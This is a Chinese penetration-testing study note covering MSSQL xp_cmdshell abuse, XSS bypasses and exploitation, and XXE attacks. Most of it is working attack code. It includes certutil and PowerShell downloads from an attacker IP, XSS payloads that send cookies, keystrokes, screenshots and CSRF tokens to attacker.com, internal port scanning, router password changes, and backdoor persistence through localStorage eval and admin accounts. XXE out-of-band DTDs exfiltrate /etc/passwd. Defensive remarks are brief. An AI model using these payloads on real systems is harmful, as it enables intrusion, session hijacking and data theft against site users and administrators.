原理xp_cmdshell 是一个扩展存储过程(extended procedure)。它允许你在 SQL Server 内部执行操作系统的 cmd.exe 命令
当你执行 EXEC xp_cmdshell 'dir c:\' 时,SQL Server 会:
- 启动一个
cmd.exe进程 - 将你的命令作为参数传递给
cmd.exe - 将命令的输出结果以行的形式返回到 SQL Server 的结果集中
使用条件
默认情况下,从 SQL Server 2005 开始,xp_cmdshell 处于禁用状态。要成功利用它,需要满足以下两个条件:
- 权限:你必须拥有
sysadmin服务器角色或**CONTROL SERVER**权限,这是因为xp_cmdshell默认只授予这些高权限用户 - 启用配置:
xp_cmdshell必须通过以下 SQL 命令手动启用:
``sql sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE; ``
在渗透测试中,如果成功通过 SQL 注入或其他方式获得了高权限,你就可以执行这些命令来启用 xp_cmdshell,然后执行任意系统命令
2. 其他相关的危险存储过程
除了 xp_cmdshell,MSSQL 还有其他一些可以执行命令或辅助命令执行的存储过程,但它们不像 xp_cmdshell 那样直接sp_addextendedproc
- 原理:这个存储过程允许你将一个外部 DLL 文件注册为 SQL Server 的扩展存储过程
- 用途:如果攻击者能上传一个恶意的 DLL 文件到服务器,就可以利用
sp_addextendedproc将其注册为一个新的扩展存储过程,然后通过执行这个过程来执行恶意代码,从而绕过xp_cmdshell的禁用限制
CLR 集成(SQL CLR)
- 原理:SQL Server 允许你使用 .NET 语言(如 C#)编写存储过程、函数、触发器等。这些代码可以调用 .NET 框架中的类库,包括那些可以执行系统命令的类,如
System.Diagnostics.Process - 用途:攻击者可以编写一个恶意的 C# 代码,将其编译成 DLL,然后加载到 SQL Server 中。这是一种更隐蔽、更强大的命令执行方法,因为它不依赖于
xp_cmdshell
如果想要通过MySQL上传文件需要开启那个存储过程的权限
1. 利用 xp_cmdshell 存储过程(最常见)
如前面所述,xp_cmdshell 是执行系统命令的利器。一旦你获得了执行 xp_cmdshell 的权限(通常是 sysadmin),就可以通过它来执行命令行下的文件上传操作
- 所需权限:
sysadmin服务器角色或CONTROL SERVER权限,并且xp_cmdshell必须已启用 - 实现方法:
- 方法一:利用
certutil下载文件 这是最常见且非常实用的方法,它利用 Windows 自带的certutil.exe工具来下载文件
EXEC xp_cmdshell 'certutil.exe -urlcache -split -f "http://<攻击机IP>/<文件名>" "c:\\<文件保存路径>\\<文件名>"';这种方法的好处是,certutil 是 Windows 系统自带的,不容易被杀毒软件拦截
- 方法二:利用 PowerShell 下载文件 使用 PowerShell 的
Invoke-WebRequest或Net.WebClient方法来下载文件
EXEC xp_cmdshell 'powershell.exe -c "Invoke-WebRequest -Uri http://<攻击机IP>/<文件名> -OutFile c:\\<文件保存路径>\\<文件名>"';或者使用更简单的别名:
EXEC xp_cmdshell 'powershell.exe -c "iwr http://<攻击机IP>/<文件名> -OutFile c:\\<文件保存路径>\\<文件名>"';- 方法三:利用其他命令行工具 如果目标机器上安装了
wget、curl等工具,你也可以使用它们
2. 利用数据库的 OPENROWSET 或 BULK INSERT
这种方法相对不那么常见,但如果 xp_cmdshell 被禁用,这是一种可以尝试的备选方案。它主要利用 MSSQL 强大的文件处理能力
- 所需权限:
sysadmin或bulkadmin角色BULK INSERT需要对目标文件夹有写权限,并且OPENROWSET必须启用Ad Hoc Distributed Queries- 实现方法:
- 方法一:
OPENROWSET这种方法可以从一个共享网络路径(UNC Path)读取数据,并插入到数据库表中。虽然它主要用于数据导入,但你可以利用它将文件内容导入到数据库,再通过其他方式导出 - 方法二:
BULK INSERT和OPENROWSET类似,BULK INSERT也能从网络共享路径读取文件数据
BULK INSERT MyTable FROM '\\<攻击机IP>\share\<文件名>' WITH ( ROWTERMINATOR = 'EOF', DATA_SOURCE = 'MyDataSource' );这种方法需要 MSSQL 服务的运行用户对网络共享路径有读取权限
3. 利用 SQL CLR 集成
这是一种高级且隐蔽的上传文件方法。如果你能够执行 SQL CLR 代码,你就可以编写一个 .NET 存储过程,该存储过程包含文件读写功能
- 所需权限:
sysadmin或EXTERNAL ACCESS ASSEMBLY权限 - 实现方法:
- 用 C# 编写一个可以从 URL 下载文件并保存到本地的 DLL
- 将 DLL 文件上传到服务器,或者通过
xp_cmdshell下载 - 使用 SQL 命令将 DLL 注册为 SQL CLR 程序集
- 执行你编写的存储过程,实现文件上传
XSS
防御
白名单
对url实体进行编码
CSP
绕过手法
大小写混淆绕过
空白字符,换行符号和tab绕过
编码绕过,url编码
标签和属性嵌套绕过
有些过滤器可能只过滤顶层的脚本标签,但忽略嵌套的标签,属性名或属性值之间插入空格,换行符(%0a或%0d)或者Tab键(%09)来绕过
例如:
<img src="javascript:alert(1);">
可以写成,加空格
<img src=" javascript:alert(1);">
<script>alert(1)</script>
可以写成
<script%0a>alert(1)</script>
事件处理器绕过
除了最常见的onload和onerror事件,还有很多事件可以触发脚本
onmouseover
onmouseout
onclick
onfocus
onblur
onchange使用特殊字符绕过
一些特殊字符,如反引号,反斜杠,在JavaScript的反引号可以用来包裹字符串并执行代码
xss利用
窃取cookie和session
像留言条,评论区都容易产生xss
如果是存储型且无审核,可造成大面积窃取登录信息cookie
构成盗号等风险
<script>
document.location = 'http://attacker.com/cookie_stealer.php?c=' + document.cookie;
</script>
键盘记录
植入键盘记录器捕获当前页面键盘记录,包括用户名,密码,信息,信用卡号密码,这种方法毫无察觉
<script>
document.onkeypress = function(e) {
// 将用户按键信息发送到攻击者服务器
fetch('http://attacker.com/keylogger.php?key=' + e.key);
};
</script>
钓鱼攻击
通过xss,攻击者可以篡改网页内容,插入虚假的登陆框或提示信息,诱骗用户输入账号和密码,例如在合法的页面弹出一个伪造的登录框,提示用户“你的会话已过期,请重新登录”,用户以为是正常操作,输入这些用户信息,这些信息就会发送到攻击者的服务器上
网页挂马和恶意重定向
利用xss重定向到恶意网站,或者在当前页面加载而已脚本,例如加密勒索病毒
<script>
window.location.href = "http://malicious-site.com";
</script>
或者加载恶意脚本
<script src="http://malicious-site.com/malware.js"></script>
绕过同源策略
虽然浏览器的同源策略限制了不同源的脚本互相访问,但在某些特定情况下,XSS 可以作为绕过同源策略的第一步。一旦在目标域上执行了脚本,攻击者就可以访问该域下的敏感数据,比如通过 AJAX 请求获取用户的私人信息
盗用 CSRF Token
许多网站使用 CSRF Token 来防御跨站请求伪造攻击。但如果存在 XSS 漏洞,攻击者可以轻松地通过 JavaScript 获取页面中的 CSRF Token,然后构造一个合法的请求(例如,转账请求),并代表用户提交
恶意代码示例:
<script>
// 通过 AJAX 请求获取页面内容
fetch('/user/profile').then(response => response.text()).then(html => {
// 从 HTML 中解析 CSRF Token,并构造一个请求
const csrfToken = html.match(/csrf-token" content="(.*?)">/)[1];
fetch('/transfer', {
method: 'POST',
body: `amount=1000&to=attacker&_csrf=${csrfToken}`
});
});
</script>
DOM篡改
攻击者可以修改页面上的 DOM 元素,例如,隐藏或替换页面上的某些内容,或者插入广告、恶意链接等
xss怎么打内网
扫端口
最基础也最常见的利用方式。攻击者可以通过 JavaScript 构造请求(如 <img> 或 <iframe> 标签),尝试加载内网 IP 地址和端口,并根据加载成功或失败来判断端口是否开放
基本思路:
- 加载
<img>标签:<img>标签的src属性可以指向内网 IP 和端口。如果图片能够加载成功,就说明该端口是开放的。可以通过onerror和onload事件来判断加载结果
const targetIp = '192.168.1.1';
const targetPorts = [80, 22, 445, 8080];
targetPorts.forEach(port => {
const img = new Image();
img.onload = () => {
// 端口开放
console.log(`Port ${port} on ${targetIp} is open.`);
// 将结果发送回攻击者服务器
fetch(`http://attacker.com/log?ip=${targetIp}&port=${port}&status=open`);
};
img.onerror = () => {
// 端口关闭或无法访问
console.log(`Port ${port} on ${targetIp} is closed.`);
};
img.src = `http://${targetIp}:${port}`;
}); - 加载
<iframe>标签:<iframe>标签可以用来加载内网页面。如果加载成功,攻击者可以通过 JavaScript 获取页面的部分内容(但受同源策略限制)
服务指纹识别
通过端口扫描后,可以确定内网中有哪些服务是开放的。接下来,可以通过 JavaScript 发送 AJAX 请求到这些服务,然后根据响应头(如 Server、X-Powered-By)或页面内容来识别服务的类型和版本
const targetUrl = 'http://192.168.1.1:8080';
fetch(targetUrl)
.then(response => {
// 检查响应头,获取服务信息
const serverHeader = response.headers.get('Server');
console.log(`Server on ${targetUrl} is: ${serverHeader}`);
// 将结果发送回攻击者服务器
fetch(`http://attacker.com/log?url=${targetUrl}&server=${serverHeader}`);
})
.catch(error => {
console.error(`Could not connect to ${targetUrl}`);
});攻击内网路由器或管理后台
许多内网路由器和管理系统都存在默认密码或已知漏洞。攻击者可以利用 XSS 漏洞,在受害者浏览器中构造并发送针对这些设备的请求
示例:利用 CSRF 漏洞修改路由器密码
假设某个路由器修改密码的请求是:POST /admin/password_change,并带上参数 new_password=123456。 攻击者可以通过 JavaScript 构造一个表单并提交,或者直接用 fetch 发送请求
// 假设路由器IP是 192.168.1.1,并且修改密码的路径是 /admin/change_password
const routerIp = '192.168.1.1';
const newPassword = 'hacked_by_xss';
const formData = new FormData();
formData.append('password', newPassword);
fetch(`http://${routerIp}/admin/change_password`, {
method: 'POST',
body: formData
}).then(() => {
console.log('Router password changed!');
});HttpOnly。当一个网站允许TRACE亲求是间,可以按照下面的步骤攻击
1.构造一个恶意链接或访问一个恶意脚本の页面
2.恶意脚本向受害者的浏览器发一个TRACE请求
3.如果服务器没有正确的配置。他可能会在trace响应中包含所有HTTP请求头,包括带有httponly标志的cookie
4.恶意脚本通过js读取trace的内容,从而获取到cookie
防御:禁用HTTP的trace和track方法,现在的服务器默认禁用了这些方法
有shell的情况怎么xss实现对目标长久控制
xss劫持管理员会话
这是最直接的xss
当管理员访问xss漏洞的页面,我们的恶意js代码会执行,并窃取管理员的cookie,sessionStorage,localStorage等会话信息
实现
webshell注入
在你获取的shell页面找一个管理员经常访问的,可写入的文件,例如网站的公共js文件,后台管理页面模板等
插入payload
在改文件插入恶意js代码
fetch('http://your-evil-server.com/log.php?cookie=' + document.cookie);获取会话
当管理员访问该页面时,他们的 cookie 就会被发送到您的服务器 log.php。您可以用这些 cookie 伪造会话,从而以管理员身份登录后台
持久化
只要您能以管理员身份登录,就可以通过后台修改网站配置,上传新的 WebShell,或者进行其他持久化操作
xss注入后台管理页面后门
这种方法更隐蔽持久,它直接在后台创建可控的后门
原理:很多后台管理管理系统允许管理员自定义页面内容,插入自定义代码或编辑模板
实现:
先进后台再说
自动化操作:
写js脚本,该脚本可以模拟管理员的点击,表单填写和提交操作
创建新用户
脚本可以模拟点击添加新用户的按钮,填写一个新的管理员账户信息
例如,用户名:backdoor,密码:pppaaasss,然后保存
修改配置文件
模拟打开系统设置,修改网站配置。允许文件上传,关闭安全限制
注入payload
自动化操作js代码注入xss页面,当管理员访问脚本会在后台静默执行,完成上述操作
xss 劫持websocket连接
如果目标网站使用了 WebSocket 来进行实时通信,这也是一个非常高明的攻击点
原理: WebSocket 是一种在客户端和服务器之间建立持久连接的协议。我们可以利用 XSS,劫持 WebSocket 连接,向服务器发送恶意指令
实现
注入websocket代码
// 假设原始 WebSocket 连接
var ws = new WebSocket("wss://target.com/websocket");
// 劫持
ws.onmessage = function(event) {
// 在这里可以拦截或修改 WebSocket 消息
console.log("Received message from server: " + event.data);
};
// 发送恶意指令
ws.onopen = function() {
// 假设服务器允许通过 WebSocket 发送命令
ws.send(JSON.stringify({ "command": "upload_shell", "path": "/uploads/backdoor.php" }));
};持久化
当管理员访问该页面,我们可以检查LOCALstorage的标志。如果存在则执行后续的恶意操作(例如加载远程执行js文件)
键盘记录
原理: 键盘记录器利用 JavaScript 监听 DOM 事件,例如 keydown 或 keypress,当管理员在后台页面输入账号、密码或其他敏感信息时,脚本会捕获这些按键事件,并将输入的数据发送到攻击者的服务器
// 恶意键盘记录脚本
document.addEventListener('keydown', function(event) {
var key = event.key;
// 将按键数据发送到你的服务器
fetch('http://your-evil-server.com/log.php?key=' + encodeURIComponent(key));
});实时数据捕获: 当管理员在后台登录表单中输入用户名和密码时,每个按键都会被记录下来,并通过 fetch 请求发送到您的服务器
持久化: 这种方法非常隐蔽,因为脚本在后台静默运行。一旦管理员登录,您不仅能获取他们的账号密码,还能实时监控他们在后台进行的任何操作,例如修改文章、上传文件等
浏览器屏幕截图
原理: 利用 HTML5 的 Canvas 和 toDataURL() 方法,我们可以截取 DOM 元素(例如整个页面)的内容,将其转换为图片数据,并发送给攻击者
实现:
注入 Payload: 在可写入的 JS 文件中注入以下代码:
// 定时截图并发送
setInterval(function() {
html2canvas(document.body).then(function(canvas) {
// 将 canvas 内容转换为 base64 格式
var imageData = canvas.toDataURL("image/png");
// 将图片数据发送到你的服务器
fetch('http://your-evil-server.com/screenshot.php', {
method: 'POST',
body: JSON.stringify({ image: imageData })
});
});
}, 5000); // 每隔5秒截图一次依赖库: 需要注意的是,这个方法通常依赖第三方库,例如 html2canvas.js。您需要将该库的 JS 文件也注入到目标网站中
实时监控: 这种方法可以直观地看到管理员在后台的操作界面,包括他们正在编辑的内容、正在上传的文件等,为您的后续攻击提供丰富的上下文信息。
利用 XSS 注入持久化 localStorage 后门
这是一种更具隐蔽性的持久化方法,它不依赖于修改网站文件,而是利用浏览器的本地存储功能
原理: 利用 localStorage 将恶意代码片段持久化存储在管理员的浏览器中
实现:
一次性注入: 找到一个XSS漏洞点(例如,一个输入框)。输入以下Payload:
<script>
localStorage.setItem('backdoor', 'your_malicious_javascript_code');
</script>
主页面加载器: 然后在网站的主 JS 文件中,注入一个检查 localStorage 的代码:
// 检查是否存在后门代码
var backdoorCode = localStorage.getItem('backdoor');
if (backdoorCode) {
eval(backdoorCode); // 执行后门代码
}持久化: 只要管理员不清空浏览器缓存,即使您修改的输入框被清理了,后门代码依然会存在于 localStorage 中,并在每次页面加载时被执行
XXE
XXE漏洞利用
文件读取
可利用外部实体读取服务器上的任意文件,例如/etc/passwd ,web应用配置文件
利用原理:攻击者在XML文档中定义一个外部实体,实体的值为一个本地文件路径。当XML解析器解析该实体时,就会去读取并返回该文件的内容
利用
1.先构造恶意dtd
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://10.88.15.58:7777?p=%file;'>">
//攻击者的服务器地址,%file;会被替换为第一步读取的/flag文件内容
%int; //引用 int 实体,注册 send 实体
%send; //触发 send 实体,外带数据
//文件读取 + 数据外带
或者
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>2.引用实体
在 XML 文档的主体中引用该实体
例如:<data>&xxe;</data>
完整示例
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<data>&xxe;</data>
</root>
当服务器解析这个 XML 时,在 <data> 标签中就会回显 /etc/passwd 文件的内容
拒绝服务攻击(Dos)
利用XXE,通过递归或大量实体引用,使XML解析器进入死循环或消耗大量系统资源,从而导致服务崩溃
今典示例:十亿笑脸
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
这个 XML 文件虽然很小,但在解析时,<lolz> 实体会扩展为数十亿个“lol”,消耗巨大的内存和 CPU 资源,最终导致服务器崩溃
内网端口扫描
利用XXE扫描内网开发的端口
利用原理:攻击者构造外部实体,让 XML 解析器去尝试连接内网 IP 和端口。如果端口开放,XML 解析会成功或返回特定的错误信息;如果端口关闭,则会返回连接超时等错误,通过错误信息来判断端口状态
利用
定义外部实体
<!ENTITY scan SYSTEM "http://内网IP">发送请求:让服务器去访问内网IP的端口
观察响应:如果服务器返回了“连接被拒绝”等信息,说明端口是关闭的,如果返回了“链接超时”或成功连接,则说明端口可能是开发的
观察响应:如果服务器放回来“连接被拒绝”等信息,说明端口是关闭的,如果出现连接超时或者连接成功,则说明端口可能是开放的
盲 XXE(Blind XXE)
如果服务器没有将 XML 解析结果回显到前端,攻击者就无法直接看到文件内容,这时就需要利用带外(Out-of-Band)通信来获取信息
利用原理:攻击者利用外部实体向自己的服务器发送请求,并在 URL 中携带需要读取的文件内容
利用步骤:
构造外部实体:攻击者在自己的服务器上搭建一个 HTTP 服务来监听请求
例如:
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % exfiltrate "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">远程引用:在主 XML 中引用攻击者的 DTD 文件
<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">当服务器解析这个 DTD 时,就会将 /etc/passwd 文件的内容发送到攻击者的服务器上
XXE盲注
带外请求(OOB)
先确认是否存在XXR漏洞,即使没有回显
准备dns服务器
推荐用下面这个dnslog和ceye感觉都不怎么好用
https://requestrepo.com/
使用VPS的python的http
python3 -m http.server port
发送请求: 将上述 XML 作为请求体发送到目标服务
确认存在漏洞: 如果你的服务器收到了来自目标 IP 的 GET /test 请求,就说明服务器存在 XXE 漏洞
利用带外请求获取文件内容
确认漏洞存在后,下一步就是尝试读取服务器上的文件
攻击步骤:
构造恶意 DTD 文件: 在你的攻击服务器上,创建一个 DTD 文件(例如 evil.dtd),内容如下:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send SYSTEM "http://你的vpsip或者dns服务器域名.com/?data=%file;">构造主 XML 请求:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % p1 SYSTEM "http://你的vpsip或者dns服务器域名/evil.dtd">
%p1;
%send;
]>
<test></test>
发送请求:
当服务器解析主 XML 文件时,它会首先请求 evil.dtd - 解析 evil.dtd 后,它会读取 file:///etc/passwd 的内容,并将其作为 %file 实体的值 - 最后,它会请求 %send 实体,将文件内容作为 GET 参数发送到你的服务器
接收数据:
你会在你的服务器日志中看到类似 GET /?data=root:x:0:0:root:/root:/bin/bash... 的请求,从而获取 /etc/passwd 的内容
利用参数实体获取错误信息
当无法通过 HTTP GET 请求直接传输数据时,可以利用 XML 解析器的错误信息来带出数据。这种方法通常用于绕过 WAF 或一些过滤
攻击步骤:
构造恶意 DTD 文件: 在你的服务器上创建 DTD 文件,内容如下:
<!ENTITY % p1 "
<!ENTITY % oob SYSTEM 'http://你的vpsip或者dns服务器域名/?data=%file;'>
">构造主 XML 请求:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://your-evil-server.com/evil.dtd">
%dtd;
%p1;
%oob;
]>
<root></root>
发送请求:
服务器解析主 XML 时,会首先加载 evil.dtd - 然后,它会尝试解析 %p1,其中包含 %oob 的定义 - 由于 %oob 实体引用了 %file,而 %file 是一个文件内容,当 XML 解析器尝试将其解析为 URL 时,会因为语法错误而失败,并抛出错误信息
这种方法的关键在于,某些 XML 解析器会把完整的错误信息(包括外部实体的内容)带回给客户端,或者将其写入服务器日志。 虽然不能直接从响应中看到,但可以利用这个特性进行注入
利用 DNSlog 获取数据
当目标服务器无法出网,或者 HTTP 协议被严格过滤时,DNSlog 是一个非常好的选择
- 攻击步骤:
准备 DNSlog 平台: 获取一个 DNSlog 域名,例如hacker.dnslog.cn
构造 XML 请求:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % p1 SYSTEM "http://whoami.hacker.dnslog.cn">
%p1;
]>
<test></test>
发送请求:
服务器解析 XML 时,会尝试解析 whoami 命令的输出,并将其作为子域名,向 hacker.dnslog.cn 发起 DNS 查询
查看结果: 你会在 DNSlog 平台的日志中看到类似 www-data.hacker.dnslog.cn 的查询记录,从而获取到 whoami 命令的输出
PCDATA 和 CDATA 的区别
PCDATA
PCDATA 是 可解析字符数据。在XML或HTML中,当解析器遇到 PCDATA 时,它会解析其中的特殊字符。这意味着,如果你的数据中包含 <、>、& 等字符,解析器会将其视为标签或实体的开始
例如,在XML中:
<note>
<body>这是一个 <b>粗体</b> 文本。</body>
</note>
这里的 < 会被解析成 <,> 会被解析成 >。如果你在XML元素中直接写入 <script> 标签,解析器会把它当作一个新的节点来处理,而不是纯粹的文本内容。在渗透测试中,如果一个 Web 应用将用户输入作为 PCDATA 处理,但没有进行充分的过滤,攻击者可以注入恶意代码,如 XSS (跨站脚本) 攻击
CDATA
CDATA 是 不可解析字符数据。与 PCDATA 相反,解析器会将其中的所有内容都视为纯文本,不会对 <、>、& 等特殊字符进行解析。CDATA 块通常用 <![CDATA[ ... ]]> 语法来定义
例如,在XML中:
<note>
<script_code><![CDATA[
if (x < 10 && y > 5) {
alert('Hello!');
}
]]></script_code>
</note>
在这个例子中,CDATA 块内的所有内容,包括 <、>、&,都会被原封不动地当作字符串来处理。即使代码中包含了类似HTML 标签的字符,解析器也不会将它们当作标签来处理。这使得 CDATA 在需要嵌入包含特殊字符的文本(如代码片段、JavaScript 等)时非常有用
特性 | PCDATA (可解析字符数据) | CDATA (不可解析字符数据) |
解析方式 | 解析特殊字符(<、>、& 等) | 将所有内容视为纯文本,不解析特殊字符 |
主要用途 | 包含普通的、可解析的文本内容 | 包含代码、脚本或其他含有特殊字符的文本 |
攻击风险 | 高。如果对用户输入处理不当,容易导致 XSS、XML 实体注入等漏洞。 | 低。由于其内容被视为纯文本,它能有效防止特殊字符被解释为标签或代码。 |
攻击场景 | 当应用程序将用户输入直接放入PCDATA区域,而没有进行充分的转义时,攻击者可以注入 等代码。 | 除非应用程序对 CDATA 块本身进行了处理或二次解析,否则在 CDATA 内部直接进行注入攻击是无效的。 |
深入探讨文件上传绕过、LFI/RFI拿shell、RCE利用链及XSS高级攻击手法,覆盖渗透测试核心场景与防御绕过技术。
由 AI 根据全文自动生成,仅供参考,以原文为准